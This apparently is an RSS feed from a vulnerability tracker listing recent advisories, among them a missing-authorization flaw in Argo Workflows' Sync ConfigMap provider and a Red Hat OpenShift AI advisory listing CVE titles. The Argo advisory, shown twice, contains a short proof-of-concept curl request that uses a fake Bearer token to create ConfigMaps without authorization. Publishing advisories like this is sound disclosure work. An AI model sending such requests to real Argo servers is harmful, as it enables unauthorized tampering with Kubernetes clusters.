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    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
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    <lastBuildDate>Sat, 03 Oct 2026 10:53:10 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-337241</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-337241</link>
      <description>EUVD-2026-337241</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-337241</guid>
    </item>
    <item>
      <title>fkie_cve-2026-42297</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-42297</link>
      <description>&lt;p&gt;Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. From version 4.0.0 to before version 4.0.5, the Sync Service&amp;#39;s ConfigMap-backed provider (server/sync/sync_cm.go) performs zero authorization checks on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits. This issue has been patched in version 4.0.5.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. From version 4.0.0 to before version 4.0.5, the Sync Service&amp;#39;s ConfigMap-backed provider (server/sync/sync_cm.go) performs zero authorization checks on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits. This issue has been patched in version 4.0.5.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-42297</guid>
    </item>
    <item>
      <title>GHSA-xchc-cqwg-g76q — Argo has Missing Authorization in its Sync ConfigMap Provider</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-xchc-cqwg-g76q</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/argoproj/argo-workflows/v4&lt;/p&gt;
&lt;p&gt;### Summary
The Sync Service&amp;#39;s ConfigMap-backed provider (`server/sync/sync_cm.go`) performs **zero authorization checks** on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits.&lt;/p&gt;
&lt;p&gt;### Details
The ConfigMap-backed provider (`server/sync/sync_cm.go`) has no `auth.CanI` checks:&lt;/p&gt;
&lt;p&gt;```go
// sync_cm.go — UNPROTECTED
func (s *configMapSyncProvider) createSyncLimit(ctx context.Context, req *syncpkg.CreateSyncLimitRequest) {
    // NO auth.CanI check
    kubeClient := auth.GetKubeClient(ctx)
    configmapGetter := kubeClient.CoreV1().ConfigMaps(req.Namespace)
    // ... directly creates/updates ConfigMaps
}
```
- `server/sync/sync_cm.go` — lines 23-155
- All four SyncService endpoints: `CreateSyncLimit`, `GetSyncLimit`, `UpdateSyncLimit`, `DeleteSyncLimit`&lt;/p&gt;
&lt;p&gt;### PoC
### Prerequisites&lt;/p&gt;
&lt;p&gt;- Argo Server running with `--auth-mode=server`
- Port-forward: `kubectl port-forward -n argo svc/argo-server 2746:2746`&lt;/p&gt;
&lt;p&gt;### Step 1: Create Sync Limit (Fake Token)&lt;/p&gt;
&lt;p&gt;```bash
curl -sk -X POST &amp;#34;https://localhost:2746/api/v1/sync/default&amp;#34; \
  -H &amp;#34;Authorization: Bearer fake-token&amp;#34; \
  -H &amp;#34;Content-Type: application/json&amp;#34; \
  -d &amp;#39;{&amp;#34;type&amp;#34;: 0, &amp;#34;namespace&amp;#34;: &amp;#34;default&amp;#34;, &amp;#34;cmName&amp;#34;: &amp;#34;test-sync&amp;#34;, &amp;#34;key&amp;#34;: &amp;#34;test-key&amp;#34;, &amp;#34;limit&amp;#34;: 5}&amp;#39;
```&lt;/p&gt;
&lt;p&gt;**Result:** `{&amp;#34;namespace&amp;#34;:&amp;#34;default&amp;#34;,&amp;#34;cmName&amp;#34;:&amp;#34;test-sync&amp;#34;,&amp;#34;key&amp;#34;:&amp;#34;test-key&amp;#34;,&amp;#34;limit&amp;#34;:5}`&lt;/p&gt;
&lt;p&gt;Verify ConfigMap was created in Kubernetes:…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/argoproj/argo-workflows/v4&lt;/p&gt;
&lt;p&gt;### Summary
The Sync Service&amp;#39;s ConfigMap-backed provider (`server/sync/sync_cm.go`) performs **zero authorization checks** on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits.&lt;/p&gt;
&lt;p&gt;### Details
The ConfigMap-backed provider (`server/sync/sync_cm.go`) has no `auth.CanI` checks:&lt;/p&gt;
&lt;p&gt;```go
// sync_cm.go — UNPROTECTED
func (s *configMapSyncProvider) createSyncLimit(ctx context.Context, req *syncpkg.CreateSyncLimitRequest) {
    // NO auth.CanI check
    kubeClient := auth.GetKubeClient(ctx)
    configmapGetter := kubeClient.CoreV1().ConfigMaps(req.Namespace)
    // ... directly creates/updates ConfigMaps
}
```
- `server/sync/sync_cm.go` — lines 23-155
- All four SyncService endpoints: `CreateSyncLimit`, `GetSyncLimit`, `UpdateSyncLimit`, `DeleteSyncLimit`&lt;/p&gt;
&lt;p&gt;### PoC
### Prerequisites&lt;/p&gt;
&lt;p&gt;- Argo Server running with `--auth-mode=server`
- Port-forward: `kubectl port-forward -n argo svc/argo-server 2746:2746`&lt;/p&gt;
&lt;p&gt;### Step 1: Create Sync Limit (Fake Token)&lt;/p&gt;
&lt;p&gt;```bash
curl -sk -X POST &amp;#34;https://localhost:2746/api/v1/sync/default&amp;#34; \
  -H &amp;#34;Authorization: Bearer fake-token&amp;#34; \
  -H &amp;#34;Content-Type: application/json&amp;#34; \
  -d &amp;#39;{&amp;#34;type&amp;#34;: 0, &amp;#34;namespace&amp;#34;: &amp;#34;default&amp;#34;, &amp;#34;cmName&amp;#34;: &amp;#34;test-sync&amp;#34;, &amp;#34;key&amp;#34;: &amp;#34;test-key&amp;#34;, &amp;#34;limit&amp;#34;: 5}&amp;#39;
```&lt;/p&gt;
&lt;p&gt;**Result:** `{&amp;#34;namespace&amp;#34;:&amp;#34;default&amp;#34;,&amp;#34;cmName&amp;#34;:&amp;#34;test-sync&amp;#34;,&amp;#34;key&amp;#34;:&amp;#34;test-key&amp;#34;,&amp;#34;limit&amp;#34;:5}`&lt;/p&gt;
&lt;p&gt;Verify ConfigMap was created in Kubernetes:…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-xchc-cqwg-g76q</guid>
    </item>
    <item>
      <title>RHSA-2026:73987 — Red Hat Security Advisory: RHOAI 3.3.7 - Red Hat OpenShift AI</title>
      <link>https://cve.radiocsirt.org/vuln/rhsa-2026:73987</link>
      <description>&lt;p&gt;golang: net/url: Memory exhaustion in query parameter parsing in net/url urllib3: urllib3 Streaming API improperly handles highly compressed data nltk: NLTK: Arbitrary Code Execution via Eval Injection in Collocations Module undici: Undici: HTTP Request Smuggling and Denial of Service due to duplicate Content-Length headers undici: undici: Denial of Service via unbounded memory consumption during WebSocket permessage-deflate decompression undici: undici: Denial of Service via crafted WebSocket frame with large length undici: Undici: Denial of Service via invalid WebSocket permessage-deflate extension parameter jupyter-server: jupyter-server: Sensitive data exposure via path traversal vulnerability fast-uri: fast-uri: Path traversal vulnerability allows bypass of security policies undici: undici: Information disclosure and data integrity issues due to incorrect Socks5ProxyAgent connection routing undici: undici: Man-in-the-Middle attack via ignored TLS options with SOCKS5 proxy keras: Keras: Arbitrary file write via path traversal in archive extraction utilities sqlite: SQLite: Arbitrary code execution via crafted FTS5 full-text search data sqlite: SQLite: Arbitrary code execution and crash via heap-based buffer overflow in FTS5 undici: undici: Denial of Service due to unbounded memory growth via WebSocket frames brace-expansion: Brace-expansion: Denial of Service due to exponential-time complexity guardrails-detectors: guardrails-detectors: Unauthenticated Regular-Expression…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;golang: net/url: Memory exhaustion in query parameter parsing in net/url urllib3: urllib3 Streaming API improperly handles highly compressed data nltk: NLTK: Arbitrary Code Execution via Eval Injection in Collocations Module undici: Undici: HTTP Request Smuggling and Denial of Service due to duplicate Content-Length headers undici: undici: Denial of Service via unbounded memory consumption during WebSocket permessage-deflate decompression undici: undici: Denial of Service via crafted WebSocket frame with large length undici: Undici: Denial of Service via invalid WebSocket permessage-deflate extension parameter jupyter-server: jupyter-server: Sensitive data exposure via path traversal vulnerability fast-uri: fast-uri: Path traversal vulnerability allows bypass of security policies undici: undici: Information disclosure and data integrity issues due to incorrect Socks5ProxyAgent connection routing undici: undici: Man-in-the-Middle attack via ignored TLS options with SOCKS5 proxy keras: Keras: Arbitrary file write via path traversal in archive extraction utilities sqlite: SQLite: Arbitrary code execution via crafted FTS5 full-text search data sqlite: SQLite: Arbitrary code execution and crash via heap-based buffer overflow in FTS5 undici: undici: Denial of Service due to unbounded memory growth via WebSocket frames brace-expansion: Brace-expansion: Denial of Service due to exponential-time complexity guardrails-detectors: guardrails-detectors: Unauthenticated Regular-Expression…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/rhsa-2026:73987</guid>
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